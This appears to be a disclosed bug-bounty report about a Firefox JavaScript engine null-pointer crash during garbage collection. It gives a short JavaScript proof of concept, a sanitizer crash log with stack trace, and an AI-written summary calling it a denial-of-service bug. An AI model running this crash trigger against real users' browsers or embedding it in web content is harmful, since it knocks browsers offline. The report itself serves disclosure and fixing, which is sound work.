SEGV on IsWriteableAddress
A crafted JavaScript program causes the Firefox JavaScript engine to crash with a segmentation fault during a minor garbage collection. The crash occurs because the engine dereferences a null pointer while trying to update a typed array's buffer pointer, which an attacker could use to crash the browser.
- Fixed in 24 days
- Paid in 2 months
- Disclosed after 24 days
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Steps to reproduce:
Run following javascript
'''
var s = "";
function func_1() {
for (var i = 16; i < 10000; i++) {
const arr = new Int32Array(Int32Array);
arr[i] = 0;
var sub_1 = arr.subarray(1);
arr[0] = 1;
}
switch (sub_1 % 2) {
case 0:
}
}
for (var i =0;i<1000;i++){
func_1();
}
'''
Actual results:
/home/zx/firefox/obj-fuzzbuild/dist/bin/js --ion-warmup-threshold=100 --ion-check-range-analysis --ion-extra-checks --disable-oom-functions --fuzzing-safe crash.js
[COV] no shared memory bitmap available, skipping
[COV] edge counters initialized. Shared memory: (null) with 415985 edges
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==507059==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000000 (pc 0x59a46f513715 bp 0x7ffc9ead50d0 sp 0x7ffc9ead50b0 T507059)
==507059==The signal is caused by a READ memory access.
==507059==Hint: address points to the zero page.
/home/zx/firefox/obj-fuzzbuild/dist/bin/llvm-symbolizer: error: '[anon:js-executable-memory]': No such file or directory
#0 0x59a46f513715 in IsWriteableAddress(void*) /home/zx/firefox/js/src/gc/Nursery.cpp:993:11
#1 0x59a46f513715 in js::Nursery::forwardBufferPointer(unsigned long*) /home/zx/firefox/js/src/gc/Nursery.cpp:1022:5
#2 0x59a46fe6dd30 in js::jit::UpdateIonJSFrameForMinorGC(JSRuntime*, js::jit::JSJitFrameIter const&) /home/zx/firefox/js/src/jit/JitFrames.cpp:1171:13
#3 0x59a46fe6dd30 in js::jit::UpdateJitActivationsForMinorGC(JSRuntime*) /home/zx/firefox/js/src/jit/JitFrames.cpp:1528:11
#4 0x59a46f51600f in js::Nursery::doCollection(js::gc::AutoGCSession&, JS::GCOptions, JS::GCReason) /home/zx/firefox/js/src/gc/Nursery.cpp:1725:3
#5 0x59a46f5151b5 in js::Nursery::collect(JS::GCOptions, JS::GCReason) /home/zx/firefox/js/src/gc/Nursery.cpp:1442:31
#6 0x59a46f4a76fc in js::gc::GCRuntime::collectNursery(JS::GCOptions, JS::GCReason, js::gcstats::PhaseKind) /home/zx/firefox/js/src/gc/GC.cpp:5055:13
#7 0x59a46f48f52d in js::gc::GCRuntime::minorGC(JS::GCReason, js::gcstats::PhaseKind) /home/zx/firefox/js/src/gc/GC.cpp:5026:3
#8 0x59a46f46f68f in void* js::gc::CellAllocator::RetryNurseryAlloc<(js::AllowGC)1>(JSContext*, JS::TraceKind, js::gc::AllocKind, unsigned long, js::gc::AllocSite*) /home/zx/firefox/js/src/gc/Allocator.cpp:107:23
#9 0x59a46e749f71 in js::NativeObject* js::gc::CellAllocator::NewObject<js::NativeObject, (js::AllowGC)1>(JSContext*, js::gc::AllocKind, js::gc::Heap, JSClass const*, js::gc::AllocSite*) /home/zx/firefox/js/src/gc/Allocator-inl.h:112:16
#10 0x59a46e748a5f in js::NativeObject* js::gc::CellAllocator::NewCell<js::NativeObject, (js::AllowGC)1, js::gc::AllocKind&, js::gc::Heap&, JSClass const*&, js::gc::AllocSite*&>(JSContext*, js::gc::AllocKind&, js::gc::Heap&, JSClass const*&, js::gc::AllocSite*&) /home/zx/firefox/js/src/gc/Allocator-inl.h:35:12
#11 0x59a46e748a5f in js::NativeObject* JSContext::newCell<js::NativeObject, (js::AllowGC)1, js::gc::AllocKind&, js::gc::Heap&, JSClass const*&, js::gc::AllocSite*&>(js::gc::AllocKind&, js::gc::Heap&, JSClass const*&, js::gc::AllocSite*&) /home/zx/firefox/js/src/vm/JSContext-inl.h:359:10
#12 0x59a46e748a5f in js::NativeObject::create(JSContext*, js::gc::AllocKind, js::gc::Heap, JS::Handle<js::SharedShape*>, js::gc::AllocSite*) /home/zx/firefox/js/src/vm/NativeObject-inl.h:482:28
#13 0x59a46ee6d40c in js::FixedLengthTypedArrayObject* js::NativeObject::create<js::FixedLengthTypedArrayObject>(JSContext*, js::gc::AllocKind, js::gc::Heap, JS::Handle<js::SharedShape*>, js::gc::AllocSite*) /home/zx/firefox/js/src/vm/NativeObject.h:745:26
#14 0x59a46ee6d40c in js::FixedLengthTypedArrayObject* (anonymous namespace)::NewTypedArrayObject<js::FixedLengthTypedArrayObject>(JSContext*, JSClass const*, JS::Handle<JSObject*>, js::gc::AllocKind, js::gc::Heap) /home/zx/firefox/js/src/vm/TypedArrayObject.cpp:395:10
#15 0x59a46ee73b85 in (anonymous namespace)::FixedLengthTypedArrayObjectTemplate<int>::newBuiltinClassInstance(JSContext*, js::gc::AllocKind, js::gc::Heap) /home/zx/firefox/js/src/vm/TypedArrayObject.cpp:917:12
#16 0x59a46ee732ef in (anonymous namespace)::FixedLengthTypedArrayObjectTemplate<int>::makeInstance(JSContext*, JS::Handle<js::ArrayBufferObjectMaybeShared*>, unsigned long, unsigned long, JS::Handle<JSObject*>, js::gc::Heap) /home/zx/firefox/js/src/vm/TypedArrayObject.cpp:943:13
#17 0x59a46eddc1bd in js::TypedArraySubarrayWithLength(JSContext*, JS::Handle<js::TypedArrayObject*>, long, long) /home/zx/firefox/js/src/vm/TypedArrayObject.cpp:4275:7
#18 0x2b5764cc36bd ([anon:js-executable-memory]+0x1f6bd)
==507059==Register values:
rax = 0x0000000000000000 rbx = 0x00007ffc9ead5820 rcx = 0x00002c853d37ffd8 rdx = 0x000073fcff545068
rdi = 0x000073fcff534b10 rsi = 0x00007ffc9ead57c0 rbp = 0x00007ffc9ead50d0 rsp = 0x00007ffc9ead50b0
r8 = 0x0000000000000000 r9 = 0x000000000007ffd8 r10 = 0x0000000000000000 r11 = 0x0000000000000000
r12 = 0x00007ffc9ead50f8 r13 = 0x000073fcff534b10 r14 = 0x0000000000000040 r15 = 0x00007ffc9ead5168
UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV /home/zx/firefox/js/src/gc/Nursery.cpp:993:11 in IsWriteableAddress(void*)
==507059==ABORTING
[00:19:30] [gecko]/home/zx #
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a null pointer dereference in the nursery's buffer pointer forwarding logic, triggered by a typed array subarray operation during minor GC.
What the attacker needed
Ability to run JavaScript in Firefox
How it was found
- Run the provided JavaScript code in the Firefox JavaScript shell with the specified flags.
- Observe the crash during a minor garbage collection.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This is a crash bug in Firefox's JavaScript engine. When the engine tries to clean up memory (garbage collection), it follows a pointer that is null, causing the program to stop working. An attacker could use this to make the browser crash, but the report does not show any way to run malicious code.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.